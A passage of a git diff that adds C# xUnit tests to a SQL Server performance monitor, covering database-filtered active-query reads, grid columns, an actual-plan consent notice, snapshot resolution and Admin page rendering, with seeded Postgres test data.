+    public async Task Reader_Overload_TwoNames_ReturnsOnlyThoseDatabases_OneNameAndAllBehaveAsBefore()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live active-queries database-filter test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var start = end.AddHours(-1);
+
+            var ab = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbA, DbB]), false, null, ct);
+            Assert.Equal(new[] { 51, 52, 71, 72, 91 }, ab.Rows.Select(r => r.SessionId).Order().ToArray());
+            Assert.All(ab.Rows, r => Assert.Contains(r.DatabaseName, new[] { DbA, DbB }));
+            Assert.Equal(5, ab.PopulationCount);
+
+            /* The order of the names does not matter. */
+            var ba = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbB, DbA]), false, null, ct);
+            Assert.Equal(ab.Rows.Select(r => r.SessionId), ba.Rows.Select(r => r.SessionId));
+
+            /* One name: the overload and the string method that wraps it return the same page. */
+            var oneList = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.One(DbC), false, null, ct);
+            var oneString = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DbC, false, null, ct);
+            Assert.Equal(new[] { 70, 90 }, oneList.Rows.Select(r => r.SessionId).Order().ToArray());
+            Assert.Equal(oneList.Rows.Select(r => r.SessionId), oneString.Rows.Select(r => r.SessionId));
+            Assert.Equal(2, oneList.PopulationCount);
+
+            /* All: every database, and the empty filter is the same as no filter. */
+            var all = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.All, false, null, ct);
+            Assert.Equal(7, all.Rows.Count);
+            Assert.Equal(7, all.PopulationCount);
+
+            /* blocking_only composes with the list: victims in the set plus their same-capture head blockers (91; 90 is in C). */
+            var blocking = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbA, DbB]), true, null, ct);
+            Assert.Equal(new[] { 51, 52, 91 }, blocking.Rows.Select(r => r.SessionId).Order().ToArray());
+
+            /* #5235 beside #5245: the wait_type filter ANDs with the list (the seed's only waiters are the victims 51 and 52, in A, on LCK_M_S; the
+               case is ignored), and a list that holds neither victim leaves nothing. */
+            var waitInList = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbA, DbB]), false, "lck_m_s", ct);
+            Assert.Equal(new[] { 51, 52 }, waitInList.Rows.Select(r => r.SessionId).Order().ToArray());
+            Assert.Equal(2, waitInList.PopulationCount);
+            var waitOutOfList = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of([DbB, DbC]), false, "LCK_M_S", ct);
+            Assert.Empty(waitOutOfList.Rows);
+            var waitAlone = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.All, false, "LCK_M_S", ct);
+            Assert.Equal(new[] { 51, 52 }, waitAlone.Rows.Select(r => r.SessionId).Order().ToArray());
+
+            /* A name no row carries, or a name with different spelling, finds nothing: the compare is exact. */
+            var none = await DarlingSessionReader.GetActiveQueriesAsync(postgres, ServerId, start, end, 100, DatabaseFilter.Of(["NoSuchDb", DbA.ToLowerInvariant()]), false, null, ct);
+            Assert.Empty(none.Rows);
+            Assert.Equal(0, none.PopulationCount);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Tool_Overload_TwoNames_EchoesTheSet_AndAHeadBlockerOutsideItStaysOffThePage()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live active-queries database-filter test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var asOf = end.ToString("o");
+
+            var json = await DarlingMcpSessionTools.GetActiveQueries(postgres, ServerName, 1, DatabaseFilter.Of([DbA, DbB]), false, null, 25, 400, asOf, null, ct);
+            using var doc = JsonDocument.Parse(json);
+            var root = doc.RootElement;
+
+            /* The population is the set's rows only, counted in SQL. */
+            Assert.Equal(5, root.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(5, root.GetProperty("snapshots_returned").GetInt32());
+            Assert.False(root.GetProperty("truncated").GetBoolean());
+            var rows = root.GetProperty("queries").EnumerateArray().ToList();
+            Assert.All(rows, r => Assert.Contains(r.GetProperty("database_name").GetString(), new[] { DbA, DbB }));
+
+            /* [M4] the echoed database_name names the set, not a single database. */
+            var filters = root.GetProperty("filters_applied");
+            Assert.Equal("the chosen databases", filters.GetProperty("database_name").GetString());
+            Assert.False(filters.GetProperty("blocking_only").GetBoolean());
+
+            /* [M4] BlockerNotShown: session 51's head blocker (90) is in database C, outside the set, so it is not on the page
+               and the victim says "filtered"; session 52's head blocker (91) is in B, inside the set, so it is on the page. */
+            var s51 = rows.Single(r => r.GetProperty("session_id").GetInt32() == 51);
+            Assert.Equal("filtered", s51.GetProperty("blocker_not_shown").GetString());
+            var s52 = rows.Single(r => r.GetProperty("session_id").GetInt32() == 52);
+            Assert.Equal(JsonValueKind.Null, s52.GetProperty("blocker_not_shown").ValueKind);
+            var s91 = rows.Single(r => r.GetProperty("session_id").GetInt32() == 91);
+            Assert.True(s91.GetProperty("is_head_blocker").GetBoolean());
+            Assert.DoesNotContain(rows, r => r.GetProperty("session_id").GetInt32() == 90);
+
+            /* Truncation is measured against the set's population: two of five rows, the page says more is held. */
+            var cut = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(
+                postgres, ServerName, 1, DatabaseFilter.Of([DbA, DbB]), false, null, 2, 400, asOf, null, ct)).RootElement;
+            Assert.True(cut.GetProperty("truncated").GetBoolean());
+            Assert.Equal(5, cut.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(2, cut.GetProperty("snapshots_returned").GetInt32());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Tool_OneName_KeepsTheEchoAndTheEmptyWindowSentence_AndTheNameIsNoLongerTrimmed()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live active-queries database-filter test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var end = await SeedAsync(cs!, ct);
+            var asOf = end.ToString("o");
+
+            /* One name: the echo is the name itself, exactly as before the list. */
+            var one = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(
+                postgres, ServerName, 1, DbC, false, null, 25, 400, asOf, null, ct)).RootElement;
+            Assert.Equal(DbC, one.GetProperty("filters_applied").GetProperty("database_name").GetString());
+            Assert.Equal(2, one.GetProperty("total_snapshots").GetInt64());
+
+            /* No name (null, and a whitespace-only one, which used to trim to null too): the echo is null and every row is read. */
+            foreach (var blank in new string?[] { null, "   " })
+            {
+                var all = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(
+                    postgres, ServerName, 1, blank, false, null, 25, 400, asOf, null, ct)).RootElement;
+                Assert.Equal(JsonValueKind.Null, all.GetProperty("filters_applied").GetProperty("database_name").ValueKind);
+                Assert.Equal(7, all.GetProperty("total_snapshots").GetInt64());
+            }
+
+            /* [M3] The name is no longer trimmed: ' FilterDbA' is a different name from 'FilterDbA' and finds nothing. */
+            var padded = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(
+                postgres, ServerName, 1, " " + DbA, false, null, 25, 400, asOf, null, ct)).RootElement;
+            Assert.Equal("empty", padded.GetProperty("status").GetString());
+            Assert.Contains($"matched database_name ' {DbA}'.", padded.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* The empty-window sentence for one name is the one it always was; for a set it names "the chosen databases". */
+            var oneMiss = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(
+                postgres, ServerName, 1, "NoSuchDb", true, null, 25, 400, asOf, null, ct)).RootElement;
+            Assert.Equal("empty", oneMiss.GetProperty("status").GetString());
+            Assert.Contains("matched database_name 'NoSuchDb' with blocking_only. The filters were applied in SQL", oneMiss.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            var manyMiss = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(
+                postgres, ServerName, 1, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), false, null, 25, 400, asOf, null, ct)).RootElement;
+            Assert.Equal("empty", manyMiss.GetProperty("status").GetString());
+            var manyMessage = manyMiss.GetProperty("message").GetString()!;
+            Assert.Contains("matched the chosen databases. The filters were applied in SQL", manyMessage, StringComparison.Ordinal);
+            Assert.DoesNotContain("database_name '", manyMessage, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// Seeds ONE capture (ten minutes before now) of seven sessions across databases A, B and C and returns the window end
+    /// (now, a little after the capture). Sessions 51 and 52 are victims in A; 51 is blocked by 90 (a head blocker in C, outside
+    /// [A, B]) and 52 by 91 (a head blocker in B, inside it). 70 (C), 71 (B) and 72 (A) are plain. CPU descends with the session
+    /// number so the page order is fixed.
+    /// </summary>
+    private static async Task<DateTime> SeedAsync(string cs, CancellationToken ct)
+    {
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+        var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+        var capture = DarlingMcpTestData.Naive(end.AddMinutes(-10));
+        var sessions = new (int Session, string Db, int Blocker, long Cpu)[]
+        {
+            (51, DbA, 90, 7000), (52, DbA, 91, 6000), (91, DbB, 0, 5000), (90, DbC, 0, 4000),
+            (70, DbC, 0, 3000), (71, DbB, 0, 2000), (72, DbA, 0, 1000),
+        };
+        foreach (var s in sessions)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26)",
+                CollectionIdGenerator.Next(), capture, ServerId, ServerName, s.Session, s.Db, "00 00:00:05.000",
+                $"SELECT {s.Session} FROM dbo.Posts", "running", s.Blocker, s.Blocker > 0 ? "LCK_M_S" : null, s.Blocker > 0 ? 500L : 0L,
+                s.Cpu, s.Cpu, 100L, 0L, 2000L, 0.5m, "Read Committed", 1, 0, "sa", "APP01", "SSMS", 1, 0);
+        }
+
+        return end;
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ActiveQueriesWidenedColumnsTests.cs b/Darling/Darling.Tests/ActiveQueriesWidenedColumnsTests.cs
new file mode 100644
index 0000000000..f5c1c2ab80
--- /dev/null
+++ b/Darling/Darling.Tests/ActiveQueriesWidenedColumnsTests.cs
@@ -0,0 +1,165 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>The web Active Queries grid shows the desktop grid's columns, and every one of them is a key get_active_queries emits.</summary>
+public sealed class ActiveQueriesWidenedColumnsTests
+{
+    private static readonly string[] DesktopOrder =
+    {
+        "collection_time", "query_text", "session_id", "database_name", "login_name", "host_name", "program_name",
+        "status", "elapsed_time_formatted", "cpu_time_ms", "logical_reads", "reads", "writes", "wait_type",
+        "wait_time_ms", "wait_resource", "blocking_session_id", "dop", "parallel_worker_count",
+        "granted_query_memory_gb", "transaction_isolation_level", "open_transaction_count", "percent_complete", "query_hash",
+    };
+
+    private static string Tabs() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpSessionTools.cs").ReplaceLineEndings("\n");
+
+    private static string ActiveColumnsBlock()
+    {
+        var tabs = Tabs();
+        var start = tabs.IndexOf("const ACTIVE_COLUMNS = [", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        return tabs[start..tabs.IndexOf("\n];", start, StringComparison.Ordinal)];
+    }
+
+    [Fact]
+    public void TheGridShowsTheDesktopColumnsInDesktopOrder_WithTheAnchorAndQueryTextFirst()
+    {
+        var keys = Regex.Matches(ActiveColumnsBlock(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(DesktopOrder, keys);
+    }
+
+    [Fact]
+    public void EveryGridColumnKeyIsEmittedByTheRead()
+    {
+        var source = ToolSource();
+        var projection = source[source.IndexOf("var result = shown.Select", StringComparison.Ordinal)..];
+        foreach (var key in Regex.Matches(ActiveColumnsBlock(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value))
+            Assert.Contains(key + " = ", projection);
+    }
+
+    [Fact]
+    public void NumbersAreFormattedByTheGridNotPreFormattedByTheRead()
+    {
+        var block = ActiveColumnsBlock();
+        Assert.Contains("key: \"percent_complete\", label: \"% Done\", format: \"num1\"", block);
+        Assert.Contains("key: \"wait_time_ms\", label: \"Wait (ms)\", format: \"int\"", block);
+        Assert.DoesNotContain("_formatted_text", block);
+    }
+
+    [Fact]
+    public void TheReadSelectsTheThreeStoredColumns()
+    {
+        var sql = DarlingSessionReader.ActiveQueriesSql;
+        Assert.Contains("wait_resource,", sql);
+        Assert.Contains("CAST(percent_complete AS double precision) AS percent_complete", sql);
+        Assert.Contains("query_hash", sql);
+    }
+}
+
+/// <summary>The three widened fields equal the stored snapshot columns, on a fixed seed.</summary>
+[Collection("live-postgres")]
+public sealed class ActiveQueriesWidenedColumnsLiveTests
+{
+    private const string ServerName = "darling-mcp-active-queries-cols-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task WaitResourcePercentCompleteAndQueryHash_EqualTheStoredColumns_AndAreNullWhenNotStored()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live active-queries columns test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t = DarlingMcpTestData.Naive(DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-2));
+            const string insert = @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, blocking_session_id, wait_type, cpu_time_ms, total_elapsed_time_ms, request_id, wait_resource, percent_complete, query_hash)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)";
+            await DarlingMcpTestData.ExecAsync(connection, ct, insert,
+                CollectionIdGenerator.Next(), t, ServerId, ServerName, 71, "Db", "ALTER INDEX ALL ON dbo.T REBUILD", "suspended", 0,
+                "PAGEIOLATCH_SH", 900L, 1800L, 0, "PAGE: 5:1:12345", 37.5m, "0x1A2B3C4D5E6F7080");
+            await DarlingMcpTestData.ExecAsync(connection, ct, insert,
+                CollectionIdGenerator.Next(), t, ServerId, ServerName, 72, "Db", "SELECT 1", "running", 0,
+                null, 100L, 200L, 0, null, null, null);
+
+            /* #5228: session 71 carries an estimated plan only; 72 carries none. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "UPDATE query_snapshots SET query_plan = $1 WHERE server_id = $2 AND session_id = 71", "<ShowPlanXML />", ServerId);
+
+            var json = JsonDocument.Parse(await DarlingMcpSessionTools.GetActiveQueries(postgres, ServerName, 1, limit: 10)).RootElement;
+            var rows = json.GetProperty("queries").EnumerateArray().ToDictionary(r => r.GetProperty("session_id").GetInt32());
+
+            using var stored = new NpgsqlCommand(
+                "SELECT wait_resource, percent_complete, query_hash FROM query_snapshots WHERE server_id = $1 AND session_id = 71", connection);
+            stored.Parameters.AddWithValue(ServerId);
+            await using (var reader = await stored.ExecuteReaderAsync(ct))
+            {
+                Assert.True(await reader.ReadAsync(ct));
+                Assert.Equal(reader.GetString(0), rows[71].GetProperty("wait_resource").GetString());
+                Assert.Equal((double)reader.GetDecimal(1), rows[71].GetProperty("percent_complete").GetDouble());
+                Assert.Equal(reader.GetString(2), rows[71].GetProperty("query_hash").GetString());
+            }
+
+            Assert.Equal("PAGE: 5:1:12345", rows[71].GetProperty("wait_resource").GetString());
+            Assert.Equal(37.5, rows[71].GetProperty("percent_complete").GetDouble());
+            Assert.Equal("0x1A2B3C4D5E6F7080", rows[71].GetProperty("query_hash").GetString());
+            /* The plan flags are written only when true: a row with a plan has the key, a row without has neither. */
+            Assert.True(rows[71].GetProperty("has_query_plan").GetBoolean());
+            Assert.False(rows[71].TryGetProperty("has_live_query_plan", out _));
+            Assert.False(rows[72].TryGetProperty("has_query_plan", out _));
+            Assert.False(rows[72].TryGetProperty("has_live_query_plan", out _));
+            Assert.Equal(0, rows[72].GetProperty("request_id").GetInt32());
+            Assert.Equal(JsonValueKind.Null, rows[72].GetProperty("wait_resource").ValueKind);
+            Assert.Equal(JsonValueKind.Null, rows[72].GetProperty("percent_complete").ValueKind);
+            Assert.Equal(JsonValueKind.Null, rows[72].GetProperty("query_hash").ValueKind);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ActualPlanConsentNoticeTests.cs b/Darling/Darling.Tests/ActualPlanConsentNoticeTests.cs
new file mode 100644
index 0000000000..f763152838
--- /dev/null
+++ b/Darling/Darling.Tests/ActualPlanConsentNoticeTests.cs
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every confirmation shown before a captured query is re-run for its actual plan says where the text came
+/// from: the monitored server, where any user may have written it, so the operator reads it before allowing
+/// the run. The sentence lives once in <see cref="QueryModificationDetector.CapturedQueryNotice"/>; these pins
+/// hold its wording and that each prompt (the Darling viewer's, Lite's, and the shared plan navigation both
+/// apps' history windows use) appends it. The prompts are WPF message boxes, so the prompt side is read from
+/// source, anchored on the one-line reference.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class ActualPlanConsentNoticeTests
+{
+    [Fact]
+    public void Notice_SaysTheTextCameFromTheMonitoredServerAndAnyUserMayHaveWrittenIt()
+    {
+        var notice = QueryModificationDetector.CapturedQueryNotice;
+        Assert.Contains("captured from the monitored server", notice, StringComparison.Ordinal);
+        Assert.Contains("any user of that server may have written it", notice, StringComparison.Ordinal);
+        Assert.Contains("read it before you allow the run", notice, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs")]
+    [InlineData("Lite/Controls/ServerTab.Plans.cs")]
+    [InlineData("PerformanceMonitor.Ui/PlanNavigationController.cs")]
+    public void EveryActualPlanConfirmation_ShowsTheNotice(string relative)
+    {
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), relative));
+        Assert.Contains("QueryModificationDetector.CapturedQueryNotice", source, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln")) && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+}
diff --git a/Darling/Darling.Tests/ActualPlanSnapshotResolveLiveTests.cs b/Darling/Darling.Tests/ActualPlanSnapshotResolveLiveTests.cs
new file mode 100644
index 0000000000..2322716990
--- /dev/null
+++ b/Darling/Darling.Tests/ActualPlanSnapshotResolveLiveTests.cs
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The actual-plan command resolves a stored <c>query_snapshots</c> row by (server, collection time, session) and
+/// the request's database. The resolved row must be in the database the request names, the way the query_stats and
+/// Query Store resolvers match it: a request that names another database resolves nothing, and a matching request
+/// still resolves the stored text. Runs the real resolver SQL and the real parameter binding over a seeded row.
+/// Skips without <c>DARLING_TEST_PG</c>, like its siblings.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ActualPlanSnapshotResolveLiveTests
+{
+    private const string ServerName = "darling-actual-plan-snapshot-resolve-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const int SessionId = 61;
+    private const int NullDbSessionId = 62;
+    private const string StoredDb = "StoredDb";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task SnapshotResolve_MatchesTheRequestsDatabase_AndNothingElse()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live actual-plan snapshot resolve test.");
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = new NpgsqlConnection(cs);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await DeleteRowsAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var captured = DarlingMcpTestData.Naive(DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-10));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text) VALUES ($1,$2,$3,$4,$5,$6,$7)",
+                CollectionIdGenerator.Next(), captured, ServerId, ServerName, SessionId, StoredDb, "SELECT 1 FROM dbo.Posts");
+            // A snapshot whose session had no database context stores NULL there (DB_NAME() returns NULL when the
+            // login cannot see the database).
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text) VALUES ($1,$2,$3,$4,$5,$6,$7)",
+                CollectionIdGenerator.Next(), captured, ServerId, ServerName, NullDbSessionId, null, "SELECT 2 FROM dbo.Votes");
+
+            async Task<string?> ResolveAsync(string? requestDatabase, int sessionId = SessionId)
+            {
+                var request = new ActualPlanRequest(null, null, captured, sessionId, requestDatabase);
+                await using var command = new NpgsqlCommand(DarlingWorker.ResolveStoredSnapshotForActualPlanSql, connection);
+                DarlingWorker.BindActualPlanResolveParameters(command, ServerId, request);
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                return await reader.ReadAsync(ct) ? reader.GetString(0) : null;
+            }
+
+            Assert.Equal("SELECT 1 FROM dbo.Posts", await ResolveAsync(StoredDb));
+            Assert.Null(await ResolveAsync("OtherDb"));
+            Assert.Null(await ResolveAsync(StoredDb.ToLowerInvariant()));
+            Assert.Null(await ResolveAsync(null));
+
+            // A row stored with no database matches a request with no database, and only that request.
+            Assert.Equal("SELECT 2 FROM dbo.Votes", await ResolveAsync(null, NullDbSessionId));
+            Assert.Null(await ResolveAsync(StoredDb, NullDbSessionId));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/AdminPageBehaviourTests.cs b/Darling/Darling.Tests/AdminPageBehaviourTests.cs
new file mode 100644
index 0000000000..223a28935c
--- /dev/null
+++ b/Darling/Darling.Tests/AdminPageBehaviourTests.cs
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the Admin page draws, from the shipped <c>admin.js</c> and the real <c>panels.js</c> grid run under Node by the edit
+/// harness (<c>admin-server-edit-harness.mjs</c>): no credential-shaped field reaches any text. These are the seven facts the
+/// old vm harness (<c>admin-page-harness.mjs</c>, retired in #5240: its stand-ins could not follow the page) ran, with the same
+/// assertions; the ones that read the stand-in grid's text now read what the real grid draws, in a pinned UTC zone.
+/// </summary>
+public sealed class AdminPageBehaviourTests
+{
+    private static JsonElement Tab(string scenario) => AdminServerEditBehaviourTests.Run(scenario);
+
+    private static string[] Texts(JsonElement page) => page.GetProperty("texts").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static string[] Reads(JsonElement page) => page.GetProperty("reads").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Theory]
+    [InlineData("servers", "Alpha", "GET /api/admin/servers")]
+    [InlineData("routes", "Blocking Detected", "GET /api/read/get_notification_routes")]
+    [InlineData("settings", "CPU: threshold (%)", "GET /api/read/get_alert_settings")]
+    public void EachTab_ReadsItsTool_AndDrawsTheRow(string tab, string expectedText, string read)
+    {
+        var page = Tab("tab:" + tab);
+
+        Assert.Contains(Texts(page), t => t == expectedText);
+        Assert.Equal(read, Assert.Single(Reads(page)));
+    }
+
+    [Fact]
+    public void TheServersTab_DrawsTheDisabledServer_WithItsAuthCostAndAddedTime_AndGreysOnlyTheDisabledRow()
+    {
+        var page = Tab("tab:servers");
+        var texts = Texts(page);
+
+        Assert.Contains("Enabled", texts);
+        Assert.Contains("Disabled", texts);
+        Assert.Contains("Windows", texts);
+        Assert.Contains("SQL Server", texts);
+        Assert.Contains("$1,234", texts);
+        // The real grid formats the time cell in the pinned UTC zone (the wording follows the locale, so it is compared with what
+        // the shipped formatter gives for the same instant) instead of showing the raw text the stand-in grid did.
+        Assert.Equal(0, page.GetProperty("utcOffsetMinutes").GetInt32());
